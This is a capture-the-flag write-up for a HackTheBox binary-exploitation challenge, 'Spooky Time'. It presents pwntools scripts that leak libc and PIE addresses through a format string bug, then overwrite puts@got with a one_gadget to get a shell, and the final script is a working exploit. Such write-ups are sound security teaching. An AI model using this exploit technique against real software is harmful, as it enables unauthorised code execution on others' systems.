Spooky Time
Spooky Time
Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Everyone loves a good jumpscare, especially kids or the person who does it.. Try to scare them all!
Solution Approach
Core idea: Stack-Based Exploitation. Exploiting FSB Bug.
Steps
- In this challenge we're given a 64 bit binary, not stripped, and dynamically linked.
NOTES: There's a libc too..
BINARY PROTECTIONS
-
Remembering there's
No Relro, hence the concept here might be somehow related to overwrite Global Offset Table (GOT) with format string vuln. -
Also there is PIE which we need to bypass to overwrite the function and there's canary which we need to leak in order to control the return address.
-
Anyway after i decompiled the binary, it seems we don't have to leak the canary, we just need to leak the PIE and calculate the PIE Base.
-
The challenge is very straight forward, we can leak the libc and pie with the second format strings vuln (it accepts up to 299 bytes).
-
At glance, the function we need to overwrite seems the
puts(). -
Let's see if there are any
one_gadgetwe can use.
LIST OF ONE_GADGET AVAIL
- Great we got few, it seems the 3rd and 4th shall be our interest.
- Let's start leaking the libc and pie.
UTILIZE THE 2ND FORMAT STRINGS VULN
- Based from the result, let's use this 2 potential address.
1st box --> potential libc, 2nd box --> potential piebase.
- Let's calculate them.
NOTES: We leak it at the 2nd vuln, but to access it, must at the 1st vuln (so we won't get EOF and we can calc the pie & libc base)
SCRIPT
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe] + argv, *a, **kw) ### for remote solve gdbscript = ''' init-pwndbg piebase breakrva 0x1492 continue '''.format(**locals()) exe = './spooky_time' elf = context.binary = ELF(exe, checksec=True) context.log_level = 'DEBUG' library = './glibc/libc.so.6' libc = context.binary = ELF(library, checksec=False) sh = start() pause() sh.sendline('%3$p.%51$p') sh.recvuntil(b'than') sh.recvline() get = sh.recvlineS() print('GRABBED:',get) potential_libc_leak = get[:14] #print(potential_libc_leak) libc_leak = int(potential_libc_leak, 16) log.info('LIBC_LEAK --> %#0x', libc_leak) pie_base_leak = get[15:] pie_leak = int(pie_base_leak, 16) log.info('PIE_LEAK --> %#0x', pie_leak) #print(pie_base_leak) sh.interactive()
CALCULATING THE LIBC_BASE
From the vmmap result we know the libc_base is --> 0x7f0516c00000
Calculate result --> 1133111
Let's get the pie_base --> 5056
SCRIPT PT.2
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe] + argv, *a, **kw) ### for remote solve gdbscript = ''' init-pwndbg piebase breakrva 0x1492 continue '''.format(**locals()) exe = './spooky_time' elf = context.binary = ELF(exe, checksec=True) context.log_level = 'DEBUG' library = './glibc/libc.so.6' libc = context.binary = ELF(library, checksec=False) sh = start() pause() sh.sendline('%3$p.%51$p') sh.recvuntil(b'than') sh.recvline() get = sh.recvlineS() print('GRABBED:',get) potential_libc_leak = get[:14] #print(potential_libc_leak) libc_leak = int(potential_libc_leak, 16) log.info('LIBC_LEAK --> %#0x', libc_leak) pie_base_leak = get[15:] pie_leak = int(pie_base_leak, 16) log.info('PIE_LEAK --> %#0x', pie_leak) #print(pie_base_leak) elf.address = pie_leak - 0x13c0 #5056 log.info('Calculated base address --> %#0x', elf.address) libc.address = libc_leak - 0x114a37 #1133111 log.info('Calculated lib_base --> %#0x', libc.address) sh.interactive()
- Great! Now we need to choose the correct one_gadget, let's start by using the 3rd one and bruteforce the correct offset.
SCRIPT PT.3
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe] + argv, *a, **kw) ### for remote solve gdbscript = ''' init-pwndbg piebase breakrva 0x1492 continue '''.format(**locals()) exe = './spooky_time' elf = context.binary = ELF(exe, checksec=True) context.log_level = 'DEBUG' library = './glibc/libc.so.6' libc = context.binary = ELF(library, checksec=False) sh = start() #pause() sh.sendline('%3$p.%51$p') sh.recvuntil(b'than') sh.recvline() get = sh.recvlineS() print('GRABBED:',get) potential_libc_leak = get[:14] #print(potential_libc_leak) libc_leak = int(potential_libc_leak, 16) log.info('LIBC_LEAK --> %#0x', libc_leak) pie_base_leak = get[15:] pie_leak = int(pie_base_leak, 16) log.info('PIE_LEAK --> %#0x', pie_leak) #print(pie_base_leak) elf.address = pie_leak - 0x13c0 #5056 log.info('Calculated base address --> %#0x', elf.address) libc.address = libc_leak - 0x114a37 #1133111 log.info('Calculated lib_base --> %#0x', libc.address) offset = 1 one_gadget = libc.address + 0xebcf5 payload = fmtstr_payload(offset, {elf.got['puts'] : one_gadget}) # overwrite puts@got sh.sendlineafter(b'time..\n\n', payload) sh.interactive()
- Anyway there must be the intended solution to get the offset, but in this case i bruteforced it from number 1 to 20 and i got it correct at offset 8.
FINAL SCRIPT
py read-only • copy allowedfrom pwn import * import os os.system('clear') def start(argv=[], *a, **kw): if args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe] + argv, *a, **kw) ### for remote solve gdbscript = ''' init-pwndbg piebase breakrva 0x1492 continue '''.format(**locals()) exe = './spooky_time' elf = context.binary = ELF(exe, checksec=True) context.log_level = 'DEBUG' library = './glibc/libc.so.6' libc = context.binary = ELF(library, checksec=False) sh = start() #pause() sh.sendline('%3$p.%51$p') sh.recvuntil(b'than') sh.recvline() get = sh.recvlineS() print('GRABBED:',get) potential_libc_leak = get[:14] #print(potential_libc_leak) libc_leak = int(potential_libc_leak, 16) log.info('LIBC_LEAK --> %#0x', libc_leak) pie_base_leak = get[15:] pie_leak = int(pie_base_leak, 16) log.info('PIE_LEAK --> %#0x', pie_leak) #print(pie_base_leak) elf.address = pie_leak - 0x13c0 #5056 log.info('Calculated base address --> %#0x', elf.address) libc.address = libc_leak - 0x114a37 #1133111 log.info('Calculated lib_base --> %#0x', libc.address) offset = 8 one_gadget = libc.address + 0xebcf5 # 3rd one_gadget payload = fmtstr_payload(offset, {elf.got['puts'] : one_gadget}) # overwrite puts@got sh.sendlineafter(b'time..\n\n', payload) sh.interactive()
RESULT (LOCAL)
TEST REMOTELY
- Got the flag!
Flag
REDACTED
Lessons Learned
- Stack-Based Exploitation.
- Exploiting FSB Bug.
- Overwrite puts@got with one gadget.